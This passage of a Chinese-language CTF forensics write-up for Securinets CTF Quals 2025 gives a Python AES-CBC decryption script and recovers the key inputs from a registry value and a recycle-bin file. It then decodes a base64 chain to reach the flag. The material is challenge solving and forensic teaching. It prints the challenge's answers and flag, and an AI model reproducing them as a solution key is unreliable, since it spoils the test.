raise SystemExit("Missing dependency: pycryptodome. Install with: pip install pycryptodome")

# ===== Fill these parameters =====
PASSWORD: str = "" # 原程序的 argv[1],你的口令或标识
COMPUTER_NAME: str = "" # 目标主机的计算机名(注册表读取的值,失败时程序使用 'UNKNOWN_HOST')
SECRET_PART: str = "" # secret_part.txt 的内容;若未知则留空字符串
INPUT_ENC_PATH: str = "to_encrypt.txt.enc" # 加密文件路径,如 'to_encrypt.txt.enc'
OUTPUT_DEC_PATH: str = "to_encrypt.txt" # 解密输出路径,如 'to_encrypt.txt'
# ================================

def derive_key_iv(password: str, computer_name: str, secret_part: str) -> tuple[bytes, bytes]:
"""
Replicates: payload = "%s|%s|%s" and SHA256 over the resulting C string bytes
In C, empty secret_part still yields trailing '|'.
"""
payload = f"{password}|{computer_name}|{secret_part}"
h = hashlib.sha256(payload.encode("utf-8")).digest()
key = h
iv = h[:16]
return key, iv

def read_file_bytes(path: str) -> bytes:
with open(path, "rb") as f:
return f.read()

def write_file_bytes(path: str, data: bytes) -> None:
with open(path, "wb") as f:
f.write(data)

def decrypt_file(
input_path: str,
output_path: str,
password: str,
computer_name: str,
secret_part: str
) -> Optional[str]:
"""
Decrypt input_path using derived key/iv and write plaintext to output_path.
Returns None on success, or error message string on failure.
"""
if not input_path or not output_path:
return "Please set INPUT_ENC_PATH and OUTPUT_DEC_PATH."

# Basic sanity checks mirroring original behavior assumptions
if password == "":
return "PASSWORD is empty. Please fill it."
if computer_name == "":
return "COMPUTER_NAME is empty. Use the actual host name or 'UNKNOWN_HOST'."

try:
ciphertext = read_file_bytes(input_path)
except Exception as e:
return f"Failed to read input file: {e}"

key, iv = derive_key_iv(password, computer_name, secret_part)

try:
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext_padded = cipher.decrypt(ciphertext)
plaintext = unpad(plaintext_padded, block_size=16, style="pkcs7")
except ValueError as e:
# Typically raised on bad padding -> wrong parameters or corrupt file
return f"Decryption failed (padding/key/iv mismatch): {e}"
except Exception as e:
return f"Decryption error: {e}"

try:
write_file_bytes(output_path, plaintext)
except Exception as e:
return f"Failed to write output file: {e}"

return None

if __name__ == "__main__":
err = decrypt_file(INPUT_ENC_PATH, OUTPUT_DEC_PATH, PASSWORD, COMPUTER_NAME, SECRET_PART)
if err:
print(err)
else:
print(f"Decryption succeeded. Output written to: {OUTPUT_DEC_PATH}")

第 1 个参数在前面找到了,是 hmmisitreallyts

接下来要寻找计算机名,由于在内存镜像中没找到,因此直接去磁盘镜像读注册表

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\ComputerName\ComputerName 找到计算机名 RAGDOLLF-F9AC5A

SecurinetsCTFQuals2025-13

因此第 2 个参数是 RAGDOLLF-F9AC5A

前面提到过 “secret_part.txt” 在被读取后立即被删除,所以这个文件可以去回收站中寻找

SecurinetsCTFQuals2025-14

最后在 [root]\RECYCLER\S-1-5-21-682003330-706699826-1417001333-1003\Dc1.txt 中找到第 3 个参数,是 sigmadroid

把这 3 个参数填入解密脚本,解密后得到以下内容:

1
Vm14U1MxWXlSblJWYkd4VVltdEtjRmxzV2xwa01XdzJWR3BDYkdKSGREWlZNakUwV1ZaYU5sVnViRnBOYWtaWVdXMHhSMWRXVW5GUmJYQnBZbGhTTlZkWGVHdFpWVEZIVVdwYVVGWkhjems9

用 CyberChef bake 几次就出来了:From Base64, 4 more - CyberChef

FLAG

1
Securinets{screen+registry+mft??}
  • 标题: Securinets CTF Quals 2025
  • 作者: Aristore
  • 创建于 : 2025-10-06 06:30:00
  • 更新于 : 2025-10-06 20:14:18
  • 链接: https://www.aristore.top/posts/SecurinetsCTFQuals2025/
  • 版权声明: 版权所有 © Aristore,禁止转载。
评论